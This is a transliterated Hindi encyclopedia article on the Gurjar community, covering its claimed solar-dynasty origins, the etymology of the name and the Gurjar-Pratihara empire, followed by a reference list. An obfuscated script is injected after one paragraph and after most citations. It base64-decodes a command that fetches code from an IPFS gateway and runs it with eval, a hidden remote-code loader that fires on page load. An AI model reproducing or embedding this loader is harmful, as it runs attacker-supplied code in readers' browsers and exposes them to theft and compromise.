गुर्जर
gurjar samaj, prachin evan rajy karane vale samaj mean se ek hai. gurjar abhilekho ke anusar ye sooryavansh ya raghuvansh se sambandh rakhate haian. prachin mahakavi rajasekhar ne gurjaro ko raghukul-tilak tatha raghugramini kaha hai.[1]7vian se 10vian shatabdi ke gurjar shilalekho par sooryadev ki kalakritiya bhi inake sooryavanshi hone ki pushti karati hai.[2]rajasthan mean aj bhi gurjaro ko samman se mihir bolate haian, jisaka arth soory hota hai.[3][4] kuchh itihasakaro ke anusar gurjar madhy eshiya ke k aaukeshas kshetr (abhi ke armeniya aur j aaurjiya) se ae ary yoddha the. sanskrit ke vidvanoan ke anusar, gurjar shuddh sanskrit shabd hai, jisaka arth shatru ka nash karane vala arthath shatru vinashak hota hai.[5][6]prachin mahakavi rajashekhar ne gurjar naresh mahipal ko apane mahakavy mean daha data gurjar kah kar sambodhit kiya hai.[7]
gurjar samrajy
- REDIRECTsaancha:mukhy
itihas ke anusar 5vi sadi mean bhinamal gurjar samrajy ki rajadhani thi tatha isaki sthapana gurjaro ne ki thi. bharuch ka samrajy bhi gurjaro ke adhin tha. chini yatri hven tsaang apane lekhoan mean gurjar samrajy ka ullekh kiya hai.[8]
chhathi se 12 vian sadi mean gurjar kee jagah satta mean the. gurjar-pratihar vansh ki satta kannauj se lekar bihar, uttar pradesh, maharashtr aur gujarat tak phaili thi. mihirabhoj ko gurjar-pratihar vansh ka b da shasak mana jata hai aur inaki l daee bangal ke pal vansh aur dakshin-bharat ke rashtrakoot shasakoan se hoti rahati thi. 12vian sadi ke bad pratihar vansh ka patan hona shuroo hua aur ye kee hissoan mean bant ge. arab akrantaoan ne gurjaro ki shakti tatha prashasan ki apane abhilekhoan mean bhoori-bhoori prashansa ki hai.[9]
itihasakar batate hai ki mugal kal se pahale tak rajasthan tatha gujarat, gurjaratra (gurjaro se rakshit desh) ya gurjar-bhoomi ke nam se jana jata tha.[10]arab lekhakoan ke anusar gurjar unake sabase bhayankar shatru the tatha unhoanne ye bhi kaha hai ki agar gurjar nahian hote to vo bharat par 12vian sadi se pahale hi adhikar kar lete.[11]
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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
tika tippani aur sandarbh
- REDIRECT saancha:tippanisoochi
- ↑ Devadatta Ramakrishna Bhandarkar (1989) Some aspects of ancient Indian culture. Asian Educational Services. ISBN 81-206-0457-1, ISBN 978-81-206-0457-5.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ Lālatā Prasāda Pāṇḍeya (1971) Sun-worship in ancient India. Motilal Banarasidass.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ Bombay (India : State) (1901) Gazetteer of the Bombay Presidency, Volume 9, Part 1. Govt. Central Press.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ Chandrasekharendra Saraswati (Jagatguru Sankaracharya of Kamakoti) (2001) Śri Śaṅkara Bhagavatpādācārya's Saundaryalaharī. Bharatiya Vidya Bhavan.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ Indirā Gāndhī Rāshṭrīya Mānava Saṅgrahālaya, Kulbhushan Warikoo, Sujit Som (2000*) Gujjars of Jammu and Kashmir. Indira Gandhi Rashtriya Manav Sangrahalaya. “"Gurjar" is a sanskrit word which has been explained thus: Gur+Ujjar;'Gur' means 'enemy' and 'ujjar' means 'destroyer'.The word means "Destroyer of the enemy".”<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ India. Office of the Registrar General (1961) Census of India, Volume 20, Part 6, Issue 27. Manager of Publications. “These people used to enjoy a title of 'Gorjan' (Leader of masses).In sanskrit the word Gurjar was used and now-a-days Gujjar is used in place of Gurjar which predicts the qualities of a warrior community.”<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ Bombay (India : State) (1901) Gazetteer of the Bombay Presidency, Volume 9, Part 1. Govt. Central Press. “With the roaring Gujar an ephithet in the Kupadvanj Rashtrakutta grant of AD 910...”<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ Juzr or Jurz.. Persian Texts in Translation The Packard Humanities Institute. Archived from the original on 2007-09-29. abhigaman tithi: 2007-05-31.
- ↑ John Keay (2001) India: a history. Grove Press. ISBN 0-8021-3797-0, ISBN 978-0-8021-3797-5.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ Ramesh Chandra Majumdar (1977) The History and Culture of the Indian People: The classical age. Bharatiya Vidya Bhavan.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ John Keay (2001) India: a history. Grove Press. ISBN 0-8021-3797-0, ISBN 978-0-8021-3797-5.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
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varnamala kramanusar lekh khoj
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